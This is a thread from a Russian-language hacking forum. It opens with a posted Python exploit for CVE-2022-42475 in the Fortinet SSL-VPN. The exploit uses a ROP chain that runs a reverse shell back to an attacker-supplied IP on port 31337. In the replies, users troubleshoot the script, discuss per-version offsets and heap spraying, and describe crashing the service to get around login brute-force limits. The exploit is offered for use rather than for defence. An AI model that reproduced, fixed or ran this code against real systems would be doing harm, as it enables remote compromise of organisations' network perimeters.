• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote Producing a POC for CVE-2022-42475 (Fortinet RCE)

Cyc199_77

(L3) cache
Забанен
Регистрация
22.09.2020
Сообщения
208
Решения
1
Реакции
147
Пожалуйста, обратите внимание, что пользователь заблокирован
Python:
import socket
import ssl
from pwn import *
import time
import sys
import requests

context = ssl.SSLContext()
target_host = sys.argv[1]
target_port = sys.argv[2]
reverse = sys.argv[3]
params = sys.argv[4].split(" ")
strparams = "["
for param in params:
    strparams += "'"+param+"',"
strparams = strparams[:-1]
strparams += "]"


#binary functions
execve = p64(0x0042e050)

#binary gadgets
movrdirax = p64(0x00000000019d2196)# : mov rdi, rax ; call r13
poprsi = p64(0x000000000042f0f8)# : pop rsi ; ret)
poprdx = p64(0x000000000042f4a5)# : pop rdx ; ret)
jmprax = p64(0x0000000000433181)#: jmp rax)
pops = p64(0x000000000165cfd7)# : pop rdx ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret)
poprax = p64(0x00000000004359af)# : pop rax ; ret)
gadget1 = p64(0x0000000001697e0d); #0x0000000001697e0d : push rbx ; sbb byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
poprdi = p64(0x000000000042ed7e)# : pop rdi ; ret
rax3 = gadget1



#hardcoded value which would probably need to be bruteforced or leaked
hardcoded = 0x00007fc5f128e000

scbase = p64(hardcoded)
rdi = p64(hardcoded + 0xc48)
cmd = p64(hardcoded + 0xd38)
asdf = hardcoded + 0xd38
cmd1 = p64(asdf)
cmd2 = p64(asdf+16)
arg1 = p64(asdf+48)
arg2 = p64(asdf+56)
arg3 = p64(asdf+64)

ropchain = poprax
ropchain += execve
ropchain += poprdi
ropchain += cmd1
ropchain += poprsi
ropchain += cmd2
ropchain += poprdx
ropchain += p64(0)
ropchain += jmprax
ropchain += b"/bin/python\x00\x00\x00\x00\x00"
ropchain += arg1
ropchain += arg2
ropchain += arg3
ropchain += p64(0)
ropchain += b"python\x00\x00"
ropchain += b"-c\x00\x00\x00\x00\x00\x00"
ropchain += b"""import socket,sys,os\ns=socket.socket(socket.AF_INET,socket. SOCK_STREAM)\ns.connect(('"""+ reverse.encode() + b"""',31337))\n[os.dup2(s.fileno(),x) for x in range(3)]\ni=os.fork()\nif i==0:\n os.execve('/bin/sh', """+strparams.encode()+b""",{})\n\x00\x00"""



try:
    with socket.create_connection((target_host, int(target_port,10))) as sock:
        with context.wrap_socket(sock, server_hostname=target_host) as ssock:
            ssock.settimeout(2)
context.verify_mode = ssl. CERT_NONE
            payload = b"A"*173096+rdi+poprdi+cmd+pops+b"A"*40+pops+rax3+b"C"*32+ropchain
            tosend = b"POST /remote/error HTTP/1.1\r\nHost: "+target_host +b"\r\nContent-Length: 115964117980\r\n\r\n" + payload
            ssock.sendall(tosend)
            r = ssock.recv(10024)
except Exception as e:
    print("Exception occurred :"+ repr(e))

SOURCE: freedom fox
 

Вложения

  • cve-2022-42475.zip
    1.2 КБ · Просмотры: 61
Пожалуйста, обратите внимание, что пользователь заблокирован
коллеги. как быть с этим ?

It is version dependent and contains some hardcoded offsets which will most likely change from one system to another
 
Пожалуйста, обратите внимание, что пользователь заблокирован
коллеги. как быть с этим ?
Либо по старинке, как делается в фулл сплойтах где создается список со всеми смещениями и адресами. Либо найти гаджет который будет помогать прыгать на пайлоад.
 
Would be interested in seeing how the original exploit functioned. It's a lot of effort to extract the right offsets from every version but very possible.
I also found that you can use this to bypass the brute-force protection. Send three login attempts and then crash the process, process respawns quickly and you can send more :)

Было бы интересно посмотреть, как функционировал оригинальный эксплойт. Извлечение нужных смещений из каждой версии требует больших усилий, но это вполне возможно.

Я также обнаружил, что это можно использовать для обхода защиты брутфорсом. Отправьте три попытки входа, а затем обрушьте процесс, процесс быстро перезагрузится, и вы сможете отправить еще :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Шозатакэ? При использовании вылазит.
cve-2022-42475.py 127.70.222.22 4443 124.52.22.20 "ls -la /"
C:
Exception occurred :TypeError("can't concat str to bytes")
в 75 строке сделай target_host.encode()
 
в 75 строке сделай target_host.encode()
сделал теперь при обращении к любому таргету пишет
Exception occurred :ConnectionResetError(10054, 'Удаленный хост принудительно разорвал существующее подключение', None, 10054, None)
Грабляяя не понятная.
ps. пробовал в конец задержку поставить time.sleep(15) не помогло.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
Его допилить нужно, чтоб работал нормально, там еще ошибки есть, тот же таймаут сокета 2 сек, серв может просто не ответить за это время
 
It's easy enough to control RIP but getting the same crash with the same register values is fucking annoying. I've been able to reset the configuration (and password) to default using this but it's a bad solution.
Управлять RIP достаточно просто, но получать один и тот же сбой при одних и тех же значениях регистра чертовски раздражает. Я смог сбросить конфигурацию (и пароль) на значение по умолчанию, используя это, но это плохое решение.
 
It's easy enough to control RIP but getting the same crash with the same register values is fucking annoying. I've been able to reset the configuration (and password) to default using this but it's a bad solution.
Управлять RIP достаточно просто, но получать один и тот же сбой при одних и тех же значениях регистра чертовски раздражает. Я смог сбросить конфигурацию (и пароль) на значение по умолчанию, используя это, но это плохое решение.
Will your method work on all vulnerable versions of Fortinet? If your solution is universal, it's already a big step forward compared to the exploit variants posted above.
а диапозон нужных адресов брать только с вмки фортика? Или есть другой способ понять какие адреса брутить
Я так понимаю, там у разных версий разные адреса? Или ерунду говорю?
 
А диапазон чего? Я сначала думал что это libc но почитав внимательно оригинальную статейку и глянув скрины я что-то сомневаюсь в этом
 
Will your method work on all vulnerable versions of Fortinet? If your solution is universal, it's already a big step forward compared to the exploit variants posted above.
It still requires version fingerprinting and the SSH/admin port to be open. So you would need the firmware files downloaded for every vulnerable version.
 
It still requires version fingerprinting and the SSH/admin port to be open. So you would need the firmware files downloaded for every vulnerable version.
what exactly is this 0x00007fc5f128e000 value? I assume it is not libc, is it the start address where overflowed data is stored?
 
what exactly is this 0x00007fc5f128e000 value? I assume it is not libc, is it the start address where overflowed data is stored?
From their screenshots, it looks like a hardcoded value they use from the base address since it will point to the bottom of the stack frame. So I think you're right and data is stored there.

I couldn't replicate their crash at all. Had to spray a bunch of SSL structures first like Orange Tsai did with CVE-2018-13381. If there's a way to leak memory using this it would be more useful, this public PoC won't work well even if you do extract the right gadgets and bruteforce values.
 
From their screenshots, it looks like a hardcoded value they use from the base address since it will point to the bottom of the stack frame. So I think you're right and data is stored there.

I couldn't replicate their crash at all. Had to spray a bunch of SSL structures first like Orange Tsai did with CVE-2018-13381. If there's a way to leak memory using this it would be more useful, this public PoC won't work well even if you do extract the right gadgets and bruteforce values.
Thanks for the answer, you tried their PoC on 6.2.11 fortios?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх